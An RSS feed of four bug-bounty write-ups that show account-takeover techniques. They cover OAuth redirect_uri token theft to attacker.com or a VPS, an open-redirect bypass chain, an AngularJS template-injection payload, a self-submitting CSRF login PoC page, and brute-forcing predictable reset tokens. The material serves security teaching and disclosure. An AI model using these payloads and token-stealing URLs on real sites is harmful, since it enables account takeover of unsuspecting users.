<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Akash Methani on Medium]]></title>
        <description><![CDATA[Stories by Akash Methani on Medium]]></description>
        <link>https://medium.com/@akashmethani?source=rss-232d5d34b36e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Akash Methani on Medium</title>
            <link>https://medium.com/@akashmethani?source=rss-232d5d34b36e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:29:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akashmethani/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting misconfigured OAuth to takeover accounts]]></title>
            <link>https://infosecwriteups.com/exploiting-misconfigured-oauth-to-takeover-accounts-225a367bca43?source=rss-232d5d34b36e------2</link>
            <guid isPermaLink="false">https://medium.com/p/225a367bca43</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Akash Methani]]></dc:creator>
            <pubDate>Tue, 30 Mar 2021 12:29:57 GMT</pubDate>
            <atom:updated>2021-04-05T16:50:48.831Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, in this writeup I will talk about two misconfigured OAuth flaws I found while looking for bugs, without further ado let’s begin.</p><p><strong>1) No validation for redirect_uri parameter</strong></p><p>While walking through the app, I noticed that users have an option to connect their social media accounts to the application and it was obviously done using OAuth.</p><p>I started looking for bugs in OAuth implementation and quickly found that the state parameter was missing.</p><p>For those who don’t know about state parameter, think of it like a CSRF token which prevents against CSRF attacks.</p><p>In the case of OAuth, missing state parameter could result in an account takeover. It gives an attacker the ability to connect his social media account to the victim’s account on an application and eventually takeover his account.</p><p>If you are not familiar with OAuth flow, I highly recommend to first learn about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVA6MV-nQ0pEeq6ceoA-XQ.png" /><figcaption>Source: PortSwigger</figcaption></figure><blockquote>Attack scenario</blockquote><blockquote>1. Attacker creates an account on this application and initiates OAuth flow by connecting his social media account.</blockquote><blockquote>2. He allows the OAuth provider to share data with the client application.</blockquote><blockquote>3. OAuth provider responds with a redirect that contains a code.</blockquote><blockquote>4. Instead of using this code to link his social media account, attacker preserves it and send the link with code to the victim or embed with an iframe on a website and send the link to the victim. (Look at the third step in the flow, a request is being sent to callback endpoint with a code)</blockquote><blockquote>5. When victim visits that site, attacker’s social media account is linked with victim’s account on client application.</blockquote><blockquote>6. An attacker could simply login to victim’s account using his linked social media account and then change email or do whatever he wants.</blockquote><p>I went through the request’s history in burp and turns out that client application was sending a custom auth header with a token in the request which had the code to link social media account, this makes it unexploitable to CSRF attack.</p><pre>X-AUTH: 12345678909876543210</pre><p>I looked for OAuth implementation for all different social media providers and it was same on all of them, it wasn’t using state parameter but the final request which connects the account had a custom auth header with a token that prevents CSRF attack.</p><p>I logged out from my account and it redirected me to the login page where I noticed the login with XYZ buttons, I checked for OAuth implementation on one of the OAuth providers and it was properly configured. I checked on another and it had a different implementation. It would send a request to api endpoint (on the client app) along with a <em>redirect_uri </em>parameter and then use this redirect_uri to initiate OAuth flow.</p><p><a href="https://client-app.com/api?redirect_uri=https://client-app.com/login">https://client-app.com/api/oauth-provider?redirect_uri=https://client-app.com/login</a></p><p>Supplying arbitrary domain to redirect_uri seemed to work.</p><p><a href="https://client-app.com/api/oauth-provider?redirect_uri=https://attacker.com">https://client-app.com/api/oauth-provider?redirect_uri=https://attacker.com</a>/</p><p>I logged into my VPS and ran python’s <em>SimpleHTTPServer </em>to check if<em> </em><em>redirect_uri</em> parameter can be exploited to steal token</p><pre>python -m SimpleHTTPServer 8080</pre><p>on python 3 this would be</p><pre>python3 -m http.server 8080</pre><p>I supplied my VPS’s IP and the token showed up in logs</p><p><a href="https://client-app.com/api?redirect_uri=http://123.123.123.123:8080/">https://client-app.com/api/</a><a href="https://client-app.com/api?redirect_uri=https://client-app.com/login">oauth-provider</a><a href="https://client-app.com/api?redirect_uri=http://123.123.123.123:8080/">?redirect_uri=http://123.123.123.123:8080/</a></p><p>I tried to log in with this stolen token and it worked! I was able to login into the victim’s account.</p><p><a href="https://client-app.com/login/%7Btoken%7D">https://client-app.com/login/{token}</a></p><p>If you don’t have a VPS or any website to log incoming traffic, you can simply use <a href="https://requestbin.com/">requestbin.com</a> for such purposes.</p><p>Things to note:</p><ol><li>There was no server side validation on redirect_uri parameter.</li><li>This would only work if victim had an active session with the OAuth provider and already had linked his account with them.</li></ol><p><strong>2) Leveraging open redirect vulnerability to steal token</strong></p><p>This was on another application, I was looking for bugs in OAuth implementation. On testing, <em>state</em> parameter, <em>redirect_uri</em> validation and everything seemed okay.</p><p>After spending some time on this application and browsing through other functionalities, I found an endpoint that caught my attention because it had r_url (redirect) parameter</p><p><a href="https://example.com/endpoint/r_url/%7Bdomain">https://example.com/endpoint/r_url/{domain</a>}</p><p>Supplying <a href="https://google.com/">google.com</a> to r_url</p><p><a href="https://example.com/endpointr_url/google.com">https://example.com/endpointr_url/google.com</a> would redirect to google.com</p><p>I tried supplying attacker.com to check if it redirects to attacker.com, but it didn’t work.</p><p><a href="https://example.com/endpoint/r_url/attacker.com">https://example.com/endpoint/r_url/attacker.com</a></p><p>I tried supplying example.com</p><p><a href="https://example.com/endpoint/r_url/example.com/">https://example.com/endpoint/r_url/example.com</a> and it worked. It was allowing google.com but not attacker.com</p><p>I tried various techniques to bypass validation on r_url</p><pre><a href="https://example.com/endpoint?r_url=">https://example.com/endpoint/r_url</a>//attacker.com</pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/attacker.com">https://example.com/endpoint/r_url\/attacker.com</a></pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/attacker.com">https://example.com/endpoint/r_url\/\/attacker.com</a></pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/attacker.com">https://example.com/endpoint/r_url\\attacker.com</a></pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/attacker.com">https://example.com/endpoint/r_url/\/attacker.com</a></pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/example.com.attacker.com">https://example.com/endpoint/r_url/example.com.attacker.com</a></pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/notexample.com">https://example.com/endpoint/r_url/notexample.com</a></pre><pre>Didn’t work.</pre><pre><a href="https://example.com/endpoint/r_url/example.com@attacker.com">https://example.com/endpoint/r_url/example.com@attacker.com</a></pre><pre>This one worked and I was redirected to attacker.com.</pre><p>Now the mistake most people do is they find open redirect and try to report it (most programs don’t even consider them) instead of reporting open redirect, note it down somewhere and look for ways to chain it.</p><p>I went back to test OAuth implementation and it was sending a request which looked something like</p><p><a href="https://oauth-provider.com/login?client_id=12345678&amp;redirect_uri=https://example.com">https://oauth-provider.com/login?client_id=12345678&amp;redirect_uri=https://example.com</a></p><p>As I’d tested this previously I knew it was properly configured and redirect_uri can’t be bypassed, but what if we redirect to a page on this same application that redirects to the attacker’s domain?</p><p>The idea was to leverage the newly found open redirect flaw and redirect the victim to an attacker-controlled domain.</p><p>I tried this.</p><p><a href="https://oauth-provider.com/login?client_id=12345678&amp;redirect_uri=https://example.com/endpoint/r_url/example.com@attacker.com">https://oauth-provider.com/login?client_id=12345678&amp;redirect_uri=https://example.com/endpoint/r_url/example.com@attacker.com</a></p><p>But it didn’t work.</p><p>URL encoding the value of redirect_uri parameter</p><p><a href="https://oauth-provider.com/login?client_id=12345678&amp;redirect_uri=https%3A%2F%2Fexample.com%2Fendpoint%2Fr_url%2Fexample.com%40attacker.com">https://oauth-provider.com/login?client_id=12345678&amp;redirect_uri=https%3A%2F%2Fexample.com%2Fendpoint%2Fr_url%2Fexample.com%40attacker.com</a></p><p>and it worked.</p><p>I found one more endpoint with r_url using google dork and this one also helped me to chain.</p><pre>site:program.com inurl:r_url</pre><p>(Tip: Google is your best friend, use it wisely to find juicy endpoints/parameters)</p><p>This was possible because redirect_uri was configured to allow <strong>*.example.com/*</strong> (any page on example.com or its subdomain)</p><p>In this case, the open redirect flaw kinda acted like an intermediary or proxy to help an attacker steal the token.</p><p>I checked incoming traffic logs and found the token patiently waiting for me.</p><p>I hope you enjoyed reading this, if you have any questions feel free to DM me on Twitter @<a href="https://twitter.com/0xAkash">0xAkash</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=225a367bca43" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/exploiting-misconfigured-oauth-to-takeover-accounts-225a367bca43">Exploiting misconfigured OAuth to takeover accounts</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leveraging Template injection to takeover an account.]]></title>
            <link>https://infosecwriteups.com/leveraging-template-injection-to-takeover-an-account-1dba7c4ae315?source=rss-232d5d34b36e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1dba7c4ae315</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Akash Methani]]></dc:creator>
            <pubDate>Thu, 04 Mar 2021 08:44:35 GMT</pubDate>
            <atom:updated>2021-03-08T05:39:25.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*kMv-emVPyH6K6HBtENkofA.png" /></figure><p>Hi, I am back again with an interesting writeup, this is about a template injection bug I reported to a private program last year.</p><p>I was browsing through the application and trying to understand what it does. Walking through the app, I landed on the account settings page and looked for usual things that one should look at while testing the settings page.</p><p>After testing for some time and not finding anything meaningful, I thought maybe I’ve got nothing here and should move on to the next functionality.</p><p>The next day, I was exploring other functionalities on the application and found this interesting feature which allowed users to write a customized message for viewers visiting the page, kinda like a blog post with a customized greeting. The interesting part about this was that it allowed users to access certain properties of the user object to create customized messages, it even allowed users to set default values for some properties.</p><p>For example, if the user wants to write a post that starts with a customized greeting for each viewer. He could do something like this.</p><pre>Hi user.name,</pre><pre>XXXX</pre><pre>XXXX</pre><p>If a user named Akash visits this page he would see</p><pre>Hi Akash,</pre><pre>XXXX</pre><pre>XXXX</pre><p>There were lots of properties that could be used to display different messages to users with different privileges on the application.</p><p>I created a blog post that began with a greeting like</p><pre>Hi user.name,</pre><pre>XXXX</pre><pre>XXXX</pre><p>and visited this page from my account and to my surprise, it displayed Hi 9,I was not expecting this, but then I recalled while testing for bugs on the settings page, I entered my name as {{3*3}} and nothing happened that time. I left the name unchanged and moved on to test another functionality.</p><p>It was evaluating the expression {{3*3}} and displaying the result 9. This meant the application was vulnerable to a client-side template injection (CSTI) attack. The application was using AngularJS and user-submitted input (expression) in the name field under the account settings page was evaluating on this blog page.</p><p>I was thinking of a way to exploit this behavior and went ahead to look for an IDOR, which could have allowed an attacker to change a user’s name and replace it with a payload that sends the user’s session cookies to a server controlled by an attacker or programmatically change his account email to takeover his account.</p><p>Unfortunately, I couldn’t find an IDOR and concluded that this behavior alone is unexploitable since this was just a harmless self-injection vulnerability.</p><p>But wait, remember I mentioned that the application allowed users to set default values for some properties? An attacker could set a variable’s default value to a CSTI payload to exploit this behavior.</p><p>I set this AngularJS CSTI Payload as default value for redacted_property</p><pre>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval(‘a,alert(1),a’)}}</pre><p>and used this redacted_property on the blog,</p><pre>Hi user.name,</pre><pre>user.redacted_property</pre><pre>XXXX</pre><pre>XXXX</pre><p>visiting this page greeted me with an alert popup, just like a classic XSS PoC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*O8FnVWgOvGjtfIr9i-tYyQ.png" /></figure><p>Instead of popping an alert, an attacker could exploit this to steal the user’s session cookie or simply change his email address and takeover his account.</p><p>I hope you guys enjoyed reading this, follow me for more such interesting writeups.</p><p>For any questions, you can DM me on Twitter <a href="https://twitter.com/0xAkash">@0xAkash</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dba7c4ae315" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/leveraging-template-injection-to-takeover-an-account-1dba7c4ae315">Leveraging Template injection to takeover an account.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I leveraged an interesting CSRF vulnerability to turn self XSS into a persistent attack?]]></title>
            <link>https://infosecwriteups.com/how-i-leveraged-an-interesting-csrf-vulnerability-to-turn-self-xss-into-a-persistent-attack-b780824042d2?source=rss-232d5d34b36e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b780824042d2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Akash Methani]]></dc:creator>
            <pubDate>Mon, 01 Jun 2020 13:13:15 GMT</pubDate>
            <atom:updated>2021-04-07T19:50:48.085Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, today I will talk about how I leveraged an interesting CSRF vulnerability to turn self XSS into a persistent attack.</p><p>While trying to find flaws on this application, I landed on the edit profile page. I tested for XSS in the name field and found that the application was encoding angular brackets.</p><p>But the name parameter was also reflecting inside JS context on the same page so I tried this.</p><pre>Akash&#39;-alert()-</pre><p>This would concatenate the alert method without breaking the context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*EuvSOS6vNhB5j-fcNV4fkg.png" /></figure><p>And it worked.</p><p>But this was just a harmless self XSS vulnerability, right? Well, there was a functionality to invite other users to a project. If an attacker invites someone to his project, the application will send out an email mentioning about the invite and providing a link to the project. Even if that person decides to ignore the joining request he would still see the attacker’s name and email.</p><p>Now, the idea was to inject a payload in the name field of an account and then invite the victim to join this project. When he would search for the person who invited him, XSS payload would trigger in his account and the attacker would eventually takeover his account by either sending cookies to a server he controls or by programmatically changing his account’s email.</p><p>I went ahead to bring this in action but turns out the name field was only vulnerable in attacker’s profile. At victim’s end, the application was securely showing the attacker’s name so there was no way an attacker could takeover an account unless he finds and chain this with another vulnerability.</p><p>I really wanted to escalate this, so I thought to check if the application was vulnerable to login and logout CSRF attack. The idea was to chain both vulnerabilities together and log the victim out of his account and then log him into the attacker’s account. As soon as the attacker’s account is logged in, XSS would trigger.</p><p>I went ahead and tested for CSRF vulnerability. Logout endpoint was vulnerable but I couldn’t exploit it for login endpoint. On close observation, I realized that token was being sent in both the cookies and the POST request body. From my previous knowledge, I knew that sometimes developers forget to sync both tokens together. I checked if they were properly synced. Luckily they weren’t but still I couldn’t exploit it because the application was expecting the token to be an actual (valid) token.</p><p>Again, from my previous knowledge I knew that sometimes applications have a global pool of tokens and would accept any valid token. In simple words, it means any user’s token can be used to craft a successful CSRF attack. First thing that came to my mind was to check if unauthenticated (the stage when a user is not logged in to any account) user’s token is valid and it worked.</p><p>With all this in mind, I wrote a PoC code where <em>img </em>tag would send a GET request to the logout endpoint which would log the user out of his account and then using JS, login form would be submitted automatically with the attacker’s credentials. As soon as attacker’s account is logged in XSS payload would trigger and we would have successfully chained both vulnerabilities together to create a higher impact.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;PoC&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;img src=&quot;https://redacted.com/logout&quot;&gt;<br>&lt;form method=&quot;POST&quot; id=&quot;csrfForm&quot; action=LOGIN-ENDPOINT&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=OLD-CSRF&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=ATTACKER-EMAIL&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;ATTACKER-PASSWORD&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;<br>&lt;/form&gt;<br>&lt;script type=&quot;text/javascript&quot;&gt;<br>    document.getElementById(&quot;csrfForm&quot;).submit()<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>I hope you enjoyed reading this. If you have any questions, feel free to reach out <a href="http://twitter.com/0xAkash">@0xAkash</a>. You can also follow me on twitter, I will keep posting such interesting writeups in future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b780824042d2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-leveraged-an-interesting-csrf-vulnerability-to-turn-self-xss-into-a-persistent-attack-b780824042d2">How I leveraged an interesting CSRF vulnerability to turn self XSS into a persistent attack?</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I discovered an interesting account takeover flaw?]]></title>
            <link>https://infosecwriteups.com/how-i-discovered-an-interesting-account-takeover-flaw-18a7fb1e5359?source=rss-232d5d34b36e------2</link>
            <guid isPermaLink="false">https://medium.com/p/18a7fb1e5359</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Akash Methani]]></dc:creator>
            <pubDate>Tue, 14 Jan 2020 07:33:17 GMT</pubDate>
            <atom:updated>2020-01-16T07:04:20.979Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone, today I will talk about an interesting account takeover flaw which I found around a year back. The root cause of this issue was in the algorithm which was generating the password reset tokens.</p><p>Let’s consider the application as <strong>program.com</strong></p><p>Like any other application on the web, this one also had a forget password functionality. I literally forgot my account’s password and requested for a reset link and something weird I noticed was, every time I request reset link for this account the first 3 characters of token would always remain same. This caught my attention and I started to dig.</p><pre>https://program.com/forgot_password/&lt;TOKEN-HERE&gt;</pre><p>After a few minutes, I realised these 3 characters were my email’s fourth letter to second letter in reverse order. For example, suppose you have an email address johndoe@domain.com and you request for a password reset link. The first 3 characters of token for this account would always be “nho” (without quotes) What the application did was, it picked the email’s fourth letter (n) and traversed in reverse order up to the second letter (o)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*HJabwSnIwi3rWrAyZAbAdg.png" /></figure><p>After finding this I thought since the first 3 characters of token were not random, chances are that remaining characters would also have a meaning.I requested tokens multiple times with this and one more test account and turns out, last few characters were the timestamp.</p><p>The only thing left to figure out now was the meaning of 2 characters which were in between of “nho” and the timestamp. I did a lot of things, tried analysing patterns in all the tokens requested so far but everything went in vain. I couldn’t find the meaning of those 2 characters (maybe they were random?)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*KvrYHQ_7-T2Lc0XVJLSfmg.png" /></figure><p>I thought why not simply bruteforce for those 2 characters? Luckily, the application didn’t have rate limiting in place.</p><p>I requested for password reset links for two identical email addresses (johndoe@domain.com and johndoe@domain2.com) exactly at the same time. Since we sent the request at the same time and email’s username part is identical, tokens sent to both accounts would be same except those 2 random characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*3nuqVE2MllBOj8fyxuNFJw.png" /></figure><p>I checked inbox of second email and intercepting the request clicked the reset link. I then sent the request to burp’s intruder and started bruteforce attack for those 2 characters. After sending a few requests, I saw a 302 response which means I was successfully able to find reset token of first account and eventually could have takeover the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*lWw4aHWq3fXL-TUIQtVlkA.png" /></figure><p>It was marked as P1/Critical. I hope you enjoyed the writeup.</p><p>You can follow me <a href="https://twitter.com/0xAkash">@0xAkash</a></p><p><em>Follow </em><a href="https://medium.com/bugbountywriteup"><em>Infosec Write-ups</em></a><em> for more such awesome write-ups.</em></p><p><a href="https://medium.com/bugbountywriteup">InfoSec Write-ups</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18a7fb1e5359" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-discovered-an-interesting-account-takeover-flaw-18a7fb1e5359">How I discovered an interesting account takeover flaw?</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>